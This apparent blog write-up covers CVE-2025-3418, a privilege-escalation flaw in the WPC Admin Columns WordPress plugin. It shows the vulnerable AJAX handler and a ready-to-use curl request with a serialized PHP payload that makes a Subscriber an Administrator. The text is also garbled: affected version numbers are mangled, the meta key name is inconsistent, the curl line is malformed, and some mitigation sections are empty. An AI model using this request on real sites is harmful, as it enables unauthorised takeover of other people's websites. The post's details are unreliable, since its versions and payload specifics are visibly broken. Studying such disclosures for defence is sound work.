A serious vulnerability—now tracked as CVE-2025-3418—was discovered in the popular WPC Admin Columns WordPress plugin (versions 2..6 to 2.1.). This bug, related to weak user meta data validation in the plugin’s AJAX handler, allowed any logged-in user—even Subscribers—to escalate their privileges to Administrator. In practice, this meant your junior staff or even forum users could take full control over your WordPress website!

In this post, I’ll break down how the flaw worked, show you sample code details, and explain how attackers could exploit it. I’ll also share references and tips on mitigation. This guide is written in clear, simple language so site admins of all technical backgrounds can understand and defend their sites.

What Is WPC Admin Columns?

WPC Admin Columns is a plugin used by thousands of WordPress sites. It helps organize and customize the columns in your admin area, making content management smoother and tidier.

What’s the Bug?

At its core, CVE-2025-3418 is a privilege escalation flaw. This means a user with limited access (like a Subscriber) can gain extra powers they shouldn’t have (like being an Administrator).

The root cause: the plugin’s AJAX handler function, called ajax_edit_save(), did not properly restrict which user meta values could be updated. WordPress uses user meta to store info about users—including their roles!

So, with the right crafted request, an attacker could update their own role to administrator, even if they started as a simple Subscriber.

The vulnerable function looked roughly like this (simplified for clarity)

// Located within the WPC Admin Columns plugin
public function ajax_edit_save() {
    $user_id = intval($_POST['user_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    $meta_value = sanitize_text_field($_POST['meta_value']);

    // The problematic line:
    update_user_meta($user_id, $meta_key, $meta_value);

    wp_send_json_success();
}

Issue: There’s NO check to see which meta key can be changed or if the user is allowed to do so!

Simply by sending a request with the meta key _wp_capabilities (which holds a user’s role), any logged-in user could update their own role.

How Does Exploitation Work?

Requirements:

The vulnerable plugin—WPC Admin Columns 2..6, 2..7, 2..8, 2..9, or 2.1.—is installed and active

Attack Steps:

This is an example using curl (replace URLs, user IDs, and cookies as needed)

curl -X POST 'https://example.com/wp-admin/admin-ajax.php'; \
  -d 'action=ajax_edit_save' \
  -d 'user_id=YOUR_USER_ID' \
  -d 'meta_key=wp_capabilities' \
  -d 'meta_value={"administrator":true}' \
  -H "Cookie: wordpress_logged_in_YOUR_COOKIE_HERE"

> Note: In practice, the meta_value needs to be a serialized PHP array. For most exploits, automated tools serialize the array, e.g.:
>
> a:1:{s:13:"administrator";b:1;}

A quick PHP serialize function can help encode this.

Once exploited

- Attackers can add/delete users

Deface the entire site

Some threat actors automate this to mass-deface or infect WordPress sites.

Discovered: (no public timeline; assumed March 2025 based on CVE)

- Fixed: v2.1.1

References

- WordPress Plugin Directory – WPC Admin Columns
- WPScan Advisory
- CVE Reference – CVE-2025-3418
- Plugin changelog

Mitigation & Fix

If you’re using WPC Admin Columns:

Review your site’s user roles for unexpected admins

- Consider using a security plugin for audit logging/tracking

For Developers:

Conclusion

CVE-2025-3418 shows how powerful (and dangerous) flawed AJAX handlers can be in WordPress plugins. Even well-meaning customization plugins, when not strict with user input, can open the door for complete site takeover. Stay safe—keep plugins updated and watch your user role assignments!

Did we help you secure your site? Share, comment, or ask questions below!

*Note: This writeup is for educational and defense purposes only. Test only on sites you own or with explicit permission.*

Timeline

Published on: 04/12/2025 07:15:27 UTC
Last modified on: 04/15/2025 18:39:27 UTC